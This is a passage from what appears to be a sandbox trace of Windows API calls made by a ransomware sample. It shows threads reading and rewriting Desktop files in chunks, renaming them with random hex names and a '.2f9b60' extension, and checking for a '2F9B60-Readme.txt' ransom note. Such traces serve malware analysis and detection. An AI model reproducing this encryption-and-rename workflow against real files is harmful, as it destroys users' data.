[0099.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0099.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261670) returned 1 [0099.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0099.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.046] WriteFile (in: hFile=0x14fc, lpBuffer=0x1cd71500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e44fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cd71500*, lpNumberOfBytesWritten=0x1e44fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd71500) returned 1 [0100.543] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.543] ReadFile (in: hFile=0x14fc, lpBuffer=0x1cd6d8f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e44fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cd6d8f0*, lpNumberOfBytesRead=0x1e44fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.543] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0100.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0100.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0100.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263dd0) returned 1 [0100.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd71500 [0100.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0100.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0100.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0100.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0100.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0100.544] WriteFile (in: hFile=0x14fc, lpBuffer=0x1cd71500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e44fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cd71500*, lpNumberOfBytesWritten=0x1e44fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd71500) returned 1 [0100.551] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x12baa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.551] ReadFile (in: hFile=0x14fc, lpBuffer=0x1cd6d8f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e44fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cd6d8f0*, lpNumberOfBytesRead=0x1e44fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.551] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x12baa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0100.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0100.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0100.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e60) returned 1 [0100.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd71500 [0100.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0100.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0100.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0100.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0100.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0100.552] WriteFile (in: hFile=0x14fc, lpBuffer=0x1cd71500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e44fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cd71500*, lpNumberOfBytesWritten=0x1e44fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd71500) returned 1 [0100.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863b20 [0100.929] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.929] WriteFile (in: hFile=0x14fc, lpBuffer=0x1ced6830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1e44fab0, lpOverlapped=0x0 | out: lpBuffer=0x1ced6830*, lpNumberOfBytesWritten=0x1e44fab0*=0x146, lpOverlapped=0x0) returned 1 [0102.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0102.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0102.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0102.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605c0) returned 1 [0102.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0102.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0102.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0102.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0102.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0102.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0102.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f5b0 [0102.023] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="d2") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="19") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="91") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="a3") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="91") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="0e") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="42") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="0e") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="f5") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="5b") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="51") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="d2") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="f6") returned 2 [0102.023] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="b3") returned 2 [0102.024] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="65") returned 2 [0102.024] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="71") returned 2 [0102.024] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="cc") returned 2 [0102.024] RtlInitAnsiString (in: DestinationString=0x1e44fb28, SourceString="d21991a3910e420ea6f55ba451a6d2f6b36571cc" | out: DestinationString="d21991a3910e420ea6f55ba451a6d2f6b36571cc") [0102.024] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e44faf8, SourceString="d21991a3910e420ea6f55ba451a6d2f6b36571cc", AllocateDestinationString=1 | out: DestinationString="d21991a3910e420ea6f55ba451a6d2f6b36571cc") returned 0x0 [0102.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf70 [0102.024] wcscat (in: _Dest=0x1b79dcf0, _Source="d21991a391" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d21991a391") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d21991a391" [0102.024] wcscat (in: _Dest=0x1b79dcf0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d21991a391.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d21991a391.2f9b60" [0102.024] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d21991a391.2f9b60", NtPathName=0x1e44fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d21991a391.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c3d0 [0108.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c3d0) returned 1 [0108.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ac90) returned 1 [0108.992] NtQueryInformationFile (in: FileHandle=0x14fc, IoStatusBlock=0x1e44fb38, FileInformation=0x1e44fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e44fb38, FileInformation=0x1e44fb48) returned 0x0 [0108.992] NtSetInformationFile (FileHandle=0x14fc, IoStatusBlock=0x1e44fb38, FileInformation=0x1e44fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0109.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf70) returned 1 [0109.006] FlushFileBuffers (hFile=0x14fc) returned 1 [0109.016] CloseHandle (hObject=0x14fc) returned 1 [0109.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dcf0 [0109.017] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.017] wcscat (in: _Dest=0x1b79dcf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.017] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0109.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8645a0) returned 1 Thread: id = 800 os_tid = 0x1364 [0099.047] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xVb5abzEp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xvb5abzep.xlsx")) returned 0x20 [0099.047] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xVb5abzEp.xlsx", dwFileAttributes=0x20) returned 1 [0099.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xVb5abzEp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xvb5abzep.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1500 [0099.048] GetFileSizeEx (in: hFile=0x1500, lpFileSize=0x2270f840 | out: lpFileSize=0x2270f840*=63324) returned 1 [0099.048] SetFilePointerEx (in: hFile=0x1500, liDistanceToMove=0xf758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.048] ReadFile (in: hFile=0x1500, lpBuffer=0x2270f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2270f808, lpOverlapped=0x0 | out: lpBuffer=0x2270f7c0*, lpNumberOfBytesRead=0x2270f808*=0x4, lpOverlapped=0x0) returned 1 [0099.049] SetFilePointerEx (in: hFile=0x1500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0099.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261700 [0099.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0099.049] NtQuerySystemTime (in: CurrentTime=0x2270f700 | out: CurrentTime=0x2270f700*=132462177045742000) returned 0x0 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x51ec48ca [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x7388e852 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x276a37eb [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x63288af5 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x3c29a89a [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x308ddac7 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0xf2f30b9 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x4321ab72 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x264ddc71 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x511abf3c [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x5c534654 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x371cb5d4 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x47a1f1b6 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x661db35b [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x15559657 [0099.049] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0xf151d02 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x43a65e3b [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x31593ec2 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0xca7f17a [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x5da3219b [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x607e67a9 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x37cc515d [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x2c17127e [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x7038ecb4 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x31a79c56 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x451224e7 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x19afb569 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x4f72d489 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x4c1e8d80 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0xa28dc2c [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x48fef443 [0099.050] RtlRandomEx (in: Seed=0x2270f6f0 | out: Seed=0x2270f6f0) returned 0x53aa1449 [0099.058] SetFilePointerEx (in: hFile=0x1500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.059] ReadFile (in: hFile=0x1500, lpBuffer=0x1cd75110, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2270f760, lpOverlapped=0x0 | out: lpBuffer=0x1cd75110*, lpNumberOfBytesRead=0x2270f760*=0x3c00, lpOverlapped=0x0) returned 1 [0099.059] SetFilePointerEx (in: hFile=0x1500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0099.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0099.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261670) returned 1 [0099.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd78d20 [0099.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0099.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0099.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0099.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0099.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.060] WriteFile (in: hFile=0x1500, lpBuffer=0x1cd78d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2270f760, lpOverlapped=0x0 | out: lpBuffer=0x1cd78d20*, lpNumberOfBytesWritten=0x2270f760*=0x3c00, lpOverlapped=0x0) returned 1 [0100.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd78d20) returned 1 [0100.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd75110) returned 1 [0100.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f370 [0100.550] SetFilePointerEx (in: hFile=0x1500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.550] WriteFile (in: hFile=0x1500, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2270f810, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2270f810*=0x10e, lpOverlapped=0x0) returned 1 [0100.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420580b0 [0100.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0100.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261550) returned 1 [0100.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20261550 [0100.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261520 [0100.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614c0 [0100.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202614c0) returned 1 [0100.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420580b0) returned 1 [0100.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97260 [0100.949] sprintf (in: _Dest=0x1cd97260, _Format="%c%c" | out: _Dest="df") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97262, _Format="%c%c" | out: _Dest="2f") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97264, _Format="%c%c" | out: _Dest="ab") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97266, _Format="%c%c" | out: _Dest="3e") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97268, _Format="%c%c" | out: _Dest="07") returned 2 [0100.949] sprintf (in: _Dest=0x1cd9726a, _Format="%c%c" | out: _Dest="d3") returned 2 [0100.949] sprintf (in: _Dest=0x1cd9726c, _Format="%c%c" | out: _Dest="a5") returned 2 [0100.949] sprintf (in: _Dest=0x1cd9726e, _Format="%c%c" | out: _Dest="4a") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97270, _Format="%c%c" | out: _Dest="11") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97272, _Format="%c%c" | out: _Dest="34") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97274, _Format="%c%c" | out: _Dest="57") returned 2 [0100.949] sprintf (in: _Dest=0x1cd97276, _Format="%c%c" | out: _Dest="25") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97278, _Format="%c%c" | out: _Dest="26") returned 2 [0100.950] sprintf (in: _Dest=0x1cd9727a, _Format="%c%c" | out: _Dest="66") returned 2 [0100.950] sprintf (in: _Dest=0x1cd9727c, _Format="%c%c" | out: _Dest="81") returned 2 [0100.950] sprintf (in: _Dest=0x1cd9727e, _Format="%c%c" | out: _Dest="8c") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97280, _Format="%c%c" | out: _Dest="f4") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97282, _Format="%c%c" | out: _Dest="16") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97284, _Format="%c%c" | out: _Dest="ee") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97286, _Format="%c%c" | out: _Dest="6d") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97288, _Format="%c%c" | out: _Dest="f5") returned 2 [0100.950] sprintf (in: _Dest=0x1cd9728a, _Format="%c%c" | out: _Dest="c1") returned 2 [0100.950] sprintf (in: _Dest=0x1cd9728c, _Format="%c%c" | out: _Dest="fc") returned 2 [0100.950] sprintf (in: _Dest=0x1cd9728e, _Format="%c%c" | out: _Dest="72") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97290, _Format="%c%c" | out: _Dest="94") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97292, _Format="%c%c" | out: _Dest="cf") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97294, _Format="%c%c" | out: _Dest="4b") returned 2 [0100.950] sprintf (in: _Dest=0x1cd97296, _Format="%c%c" | out: _Dest="7f") returned 2 [0100.950] RtlInitAnsiString (in: DestinationString=0x2270f888, SourceString="df2fab3e07d3a54a113457252666818cf416ee6df5c1fc7294cf4b7f" | out: DestinationString="df2fab3e07d3a54a113457252666818cf416ee6df5c1fc7294cf4b7f") [0100.950] RtlAnsiStringToUnicodeString (in: DestinationString=0x2270f858, SourceString="df2fab3e07d3a54a113457252666818cf416ee6df5c1fc7294cf4b7f", AllocateDestinationString=1 | out: DestinationString="df2fab3e07d3a54a113457252666818cf416ee6df5c1fc7294cf4b7f") returned 0x0 [0100.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a140 [0100.950] wcscat (in: _Dest=0x1b866cc0, _Source="df2fab3e07d3a5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\df2fab3e07d3a5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\df2fab3e07d3a5" [0100.950] wcscat (in: _Dest=0x1b866cc0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\df2fab3e07d3a5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\df2fab3e07d3a5.2f9b60" [0100.951] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\df2fab3e07d3a5.2f9b60", NtPathName=0x2270f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\df2fab3e07d3a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1370 [0109.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0109.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a600) returned 1 [0109.046] NtQueryInformationFile (in: FileHandle=0x1500, IoStatusBlock=0x2270f898, FileInformation=0x2270f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2270f898, FileInformation=0x2270f8a8) returned 0x0 [0109.046] NtSetInformationFile (FileHandle=0x1500, IoStatusBlock=0x2270f898, FileInformation=0x2270f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0109.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a140) returned 1 [0109.048] FlushFileBuffers (hFile=0x1500) returned 1 [0109.050] CloseHandle (hObject=0x1500) returned 1 [0109.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a140 [0109.052] wcscpy (in: _Dest=0x1b86a140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.052] wcscat (in: _Dest=0x1b86a140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.052] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a140) returned 1 [0109.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866e40) returned 1 Thread: id = 801 os_tid 